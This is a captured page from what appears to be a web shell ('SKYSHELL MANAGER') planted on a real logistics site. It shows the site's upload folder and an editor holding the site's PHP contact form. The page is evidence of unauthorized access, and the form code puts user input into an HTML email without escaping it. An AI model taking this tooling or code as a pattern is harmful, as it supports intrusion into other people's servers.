📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chblogistics.com
/
upload
/
Name
Size
Permissions
Actions
📁
..
-
0555
🗑️
🔒
📁
upload
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
13.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
Editing: cond.php
<?php session_start(); ?><?php include "header2.php"; ?><?php include "every.php"; ?> <body onLoad="getLocation()"> <style> .guy{ margin:0px; padding:0px; } </style> <main id="main"> <!-- =======rack and Book Section ======= --> <section id="about" class="about" style="margin-bottom:100px;"> <div class="container" data-aos="fade-up"> <div class="row content"> <div class="col-lg-12" style="padding:20px; width:100%; margin:auto;" align="center"> <h3 style=" color:#FF339A;">CONTACT DETAILS</h3> <p><strong style="font-size:28px;"><i class="bx bx-location-plus"></i>VISIT US</strong><br><a href="http://maps.google.com/maps?q=Lagos,Nigeria">Lagos,Nigeria</a></p> <p><strong style="font-size:28px;"><i class="bx bx-mail-send"></i>EMAIL US</strong><br><a href="mailto:admin@chblogistics.com">admin@chblogistics.com</a></p> <?php if($mem == "Free" ) {echo "";} else { echo ' <p><strong style="font-size:28px;"><i class="bx bx-phone-call"></i>CALL US</strong><br><a href="tel:+234 905 744 4448">+234 905 744 4448</a></p>'; } ?> <h3 style=" color:#FF339A;">GET IN TOUCH.SEND US AN EMAIL</h3> <p> <form action="" method="post"> <input type="text" class="form-control" id="fname" name="firstname" placeholder="Your name.."><br> <input type="email" class="form-control" id="lname" name="mail" placeholder="Your Email"><br> <input type="tel" class="form-control" id="lname" name="numb" placeholder="Your Phone Number.."><br> <input type="text" class="form-control" id="lname" name="sub" placeholder="Your Subject"><br> <textarea id="subject" class="form-control" name="subj" placeholder="Write something.." style="height:200px"></textarea><br> <input type="submit" name="submit" class="submitn" value="Submit"> </form> <?php include "connect_to_mysqli.php"; if(empty($_POST['submit'])) { echo ""; } else{ $name= $_POST['firstname']; $email= $_POST['mail']; $num= $_POST['numb']; $ject= $_POST['sub']; $mess= $_POST['subj']; ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $msg = ""; $email_from="admin@chblogistics.com"; $email_to = "admin@chblogistics.com"; $email_subject = "NEW CONTACT MESSAGE ($ject)"; $comments = " <center style='background-color:black;'><br><img src='https://chblogistics.com/assets/img/apple-touch-icon.png'><br><br><table cellpadding='10' border='1px'style='background-color:black; color:white;' > <th style='background-color:#FF096F;'> TITLE </th> <th style='background-color:#FF096F;'> DETAILS </th> <tr><td> Name</td><td>$name</td></tr> <tr><td>Email</td><td>$email</td></tr> <tr><td>Contact</td><td>$num</td></tr> <tr><td>MORE DETAILS</td><td>$mess</td></tr> </table></center> "; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message =""; $email_message .= " ". clean_string($user)."\n"; $email_message .= clean_string($comments)."\n"; // create email headers $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(!@mail($email_to, $email_subject, $email_message, $headers)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>'; } ////////////////////////////////////////////End mail Function////////////////////////////////////////////////////////////// } ?></p> </div> </div></div> </section><!-- Book Section --> </main><!-- End #main --> <?php include "footer2.php"; ?>
💾 Save Changes